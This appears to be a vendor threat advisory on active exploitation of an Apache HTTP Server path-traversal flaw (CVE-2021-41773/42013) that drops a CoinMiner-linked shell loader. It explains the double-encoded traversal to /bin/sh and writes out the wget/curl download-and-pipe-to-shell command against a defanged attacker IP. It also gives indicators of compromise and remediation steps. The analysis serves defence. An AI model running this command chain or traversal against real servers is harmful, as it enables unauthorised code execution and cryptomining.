Attackers Exploit Apache Path Traversal to Deploy CoinMiner-Related Malware

Attackers Exploit Apache Path Traversal to Deploy CoinMiner-Related Malware

Overview

The SonicWall Capture Labs threat research team has observed active exploitation attempts targeting vulnerable Apache HTTP Server installations. The activity uses path traversal sequences to reach the system shell through the /cgi-bin/ directory and execute commands supplied in the HTTP request body.

Two related request variants were captured by honeypot sensors. The first uses conventional directory traversal sequences, while the second uses double URL encoding to bypass path-normalization checks:

Both requests attempt to execute /bin/sh and download a secondary shell script from 217[.]60[.]195[.]113. The downloaded content is piped directly into the shell without first being written to disk:

The double-encoded request is strongly associated with exploitation of CVE-2021-42013, a critical path traversal and remote code execution vulnerability in Apache HTTP Server 2.4.49 and 2.4.50. The vulnerability resulted from an incomplete fix for CVE-2021-41773.

Technical Overview

Apache HTTP Server normalizes a requested URI before mapping it to a resource on the local filesystem. This process is intended to remove traversal sequences such as ../ and prevent users from escaping the configured web directory.

A path-normalization flaw introduced in Apache HTTP Server 2.4.49 allowed specially encoded traversal sequences to bypass these protections. The issue was assigned CVE-2021-41773. Apache HTTP Server 2.4.50 attempted to correct the vulnerability, but the fix did not adequately account for double-encoded traversal characters (CVE-2021-42013).

After decoding, the resulting .. component instructs the server to move to the parent directory. Repeating it allows the request to escape the CGI directory and reach an operating-system executable such as /bin/sh.

If CGI is enabled and the Apache access controls permit the resulting path, the POST body can be passed to the shell as input. This changes the impact from arbitrary file access to unauthenticated remote command execution.

Triggering the Vulnerability

Request Variant 1: Direct Traversal

This request contains repeated literal ../ sequences. The attacker is attempting to move out of /cgi-bin/ and invoke /bin/sh. It may represent a broad compatibility probe used by an automated exploitation tool.

Request Variant 2: Double-Encoded Traversal

This variant replaces each .. component with %252e%252e. It is intended to survive an initial decoding operation and become %2e%2e, which may then be decoded again into a parent-directory token. This technique is characteristic of CVE-2021-42013 exploitation against Apache HTTP Server 2.4.49 or 2.4.50.

Infection Chain

Stage 1: Identify a CGI-Enabled Apache Server

The attacker sends an unauthenticated HTTP POST request to /cgi-bin/. The exploit assumes CGI functionality is enabled and accessible through an Alias or ScriptAlias configuration.

Stage 2: Escape the CGI Directory

Repeated traversal components attempt to move beyond the configured CGI directory and reach the filesystem root. Double encoding helps the components survive incomplete URI normalization.

%252e%252e → %2e%2e → ..

Stage 3: Execute the System Shell

The final path points to /bin/sh. When a vulnerable CGI handler treats the shell as the requested program, the content of the POST body is passed to it.

/bin/sh

Stage 4: Download the Secondary Payload

The attacker first attempts to use wget. If wget is unavailable or fails, the || operator causes the shell to use curl as a fallback. Both commands disable TLS certificate validation.

wget --no-check-certificate -qO-hxxps://217[.]60[.]195[.]113/sh ||

curl -sk hxxps://217[.]60[.]195[.]113/sh

Stage 5: Execute the Script Through a Pipeline

The output from wget or curl is passed directly to sh. The -s option instructs the shell to read commands from standard input, while apache is supplied as a positional argument to the downloaded script.

| sh -s apache

Malware Analysis

The attack infrastructure hosts a shell script named:

sh

The script is downloaded from:

hxxps://217[.]60[.]195[.]113/sh

Threat actors frequently use shell scripts as lightweight first-stage loaders because they can inspect the compromised system, modify execution permissions and retrieve additional malware components.

VirusTotal analysis classifies the sample as a malicious shell-script downloader or dropper. The script uses standard utilities such as wget, curl or ftpget to retrieve additional components. URLhaus classified the /sh address as a malware-download endpoint and tagged the activity as CoinMiner. The same URL has delivered multiple versions of the shell script, indicating that the attacker periodically updates or replaces the first-stage loader.

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signature has been released:

Indicators of Compromise

• 0af1e1824def0944d69e44c3ca76bc52163ee20dda7e978ead06134f550fbdc5

• 217[.]60[.]195[.]113
• hxxps://217[.]60[.]195[.]113/sh

Remediation Recommendations

Organizations should upgrade vulnerable Apache installations immediately. Apache HTTP Server 2.4.51 corrected the incomplete path-normalization fix, although organizations should deploy the newest supported release available for their platform rather than stopping at that historical version.

• Disable CGI functionality if it is not required.
• Restrict access to CGI directories and retain deny-by-default filesystem controls.
• Do not expose unnecessary Apache management or CGI interfaces to the internet.
• Inspect encoded and double-encoded traversal sequences at WAF and IPS layers.
• Restrict outbound internet access from web servers.
• Monitor web server processes for unexpected shell and downloader execution.
• Review legacy appliances and containers that may bundle Apache 2.4.49 or 2.4.50.

If successful exploitation is suspected, isolate the affected host and preserve Apache logs, proxy logs, process trees, network connections, cron configurations, systemd units and files created in temporary directories.

Relevant Links

•  CVE-2021-41773
•  CVE-2021-42013
•  VirusTotal detection for SHA256: 31de9327a4e3543211f75f8a70e6deb315c7f7be5d58d68e79e9df41098aab0f